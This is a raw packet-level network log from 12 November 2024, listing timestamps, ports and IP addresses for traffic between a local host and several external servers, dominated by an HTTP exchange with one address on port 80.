Nov 12, 2024 08:30:37.734679937 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:37.734693050 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:37.743335009 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.800206900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800232887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800245047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800260067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800280094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800281048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800337076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800368071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800380945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800410986 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800487041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800498962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800510883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800533056 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800565004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800659895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800671101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800681114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800692081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800704956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800717115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800726891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800726891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800729036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800755978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800770998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.800906897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800946951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800956964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.800991058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801043034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801054955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801065922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801076889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801089048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801090002 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801121950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801121950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801331043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801342010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801352978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801372051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801383972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801393032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801393032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801395893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801409006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801420927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801425934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801434040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801446915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801455975 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801472902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801606894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801769018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801780939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801794052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801804066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801826954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801826954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801855087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801855087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801911116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801922083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801940918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801953077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801964998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801965952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.801976919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801989079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.801989079 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802028894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802028894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802310944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802323103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802333117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802345037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802360058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802360058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802372932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802385092 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802386045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802397966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802409887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802421093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802428007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802428007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802458048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802458048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802669048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802733898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802747965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802761078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802767038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802772999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.802812099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.802812099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.808511019 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:37.814467907 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.814883947 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.814939976 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.826694012 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.826713085 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.826792002 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.826816082 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.826834917 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.826890945 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.857150078 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:37.858584881 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:37.858625889 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:37.858694077 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:37.860186100 CET	57079	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:37.860198975 CET	443	57079	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:37.879396915 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:37.879406929 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:37.880059004 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:37.880064011 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:37.880099058 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:37.880105972 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:37.885338068 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.885371923 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.885385036 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.885416985 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.893110991 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:37.893162012 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:37.893264055 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:37.897813082 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:37.897839069 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:37.917098045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917160988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917167902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917171955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917202950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917257071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917263985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917275906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917337894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917496920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917514086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917526007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917556047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917573929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917721987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917733908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917762995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917798042 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917824984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917835951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917846918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917867899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917867899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917889118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.917956114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917967081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917977095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.917988062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918000937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918009996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918009996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918016911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918035984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918056965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918232918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918242931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918260098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918277025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918282032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918282032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918287992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918298960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918299913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918312073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918323040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918323994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918334961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918340921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918346882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918350935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918364048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918396950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918401003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918411970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918431044 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918459892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918781042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918800116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918811083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918823957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918837070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918838978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918853045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918876886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918908119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.918960094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.918998957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919012070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919022083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919033051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919043064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919045925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919058084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919074059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919097900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919265032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919277906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919289112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919311047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919329882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919374943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919385910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919394970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919405937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919413090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919416904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919429064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919429064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919446945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.919469118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919491053 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.919511080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920023918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920033932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920046091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920058012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920070887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920073032 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920082092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920094013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920103073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920104980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920118093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920130014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920134068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920144081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920152903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920154095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920166016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920166016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920181990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920192957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.920212984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920212984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.920236111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.929356098 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.929383039 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.949157000 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.949466944 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.949498892 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.951543093 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.951565027 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.951937914 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.954338074 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.954363108 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.954464912 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.954474926 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.954826117 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.955266953 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.955379963 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.955415964 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.955471992 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.955712080 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.955776930 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.956108093 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.956167936 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.956228018 CET	57066	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.956321001 CET	57065	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.956374884 CET	57067	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.956387043 CET	443	57067	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.003328085 CET	443	57065	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.003329992 CET	443	57066	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:38.010564089 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.010616064 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.010746002 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.011049032 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.011059999 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.014434099 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.014463902 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.014714956 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.015120983 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.015136003 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.034384966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034430981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034445047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034446001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034477949 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034506083 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034600019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034611940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034624100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034636021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034650087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034670115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034702063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034902096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034914970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034926891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034940004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034950972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.034971952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034991980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.034991980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036016941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036030054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036041975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036055088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036058903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036067963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036077976 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036086082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036102057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036107063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036128998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036159992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036556959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036569118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036580086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036592007 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036608934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036616087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036616087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036621094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036633015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036644936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036648989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036659002 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036659002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036673069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036683083 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036689997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036700010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036714077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036720991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036720991 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036726952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036739111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.036745071 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.036787033 CET	49809	80	192.168.2.5	185.215.113.206
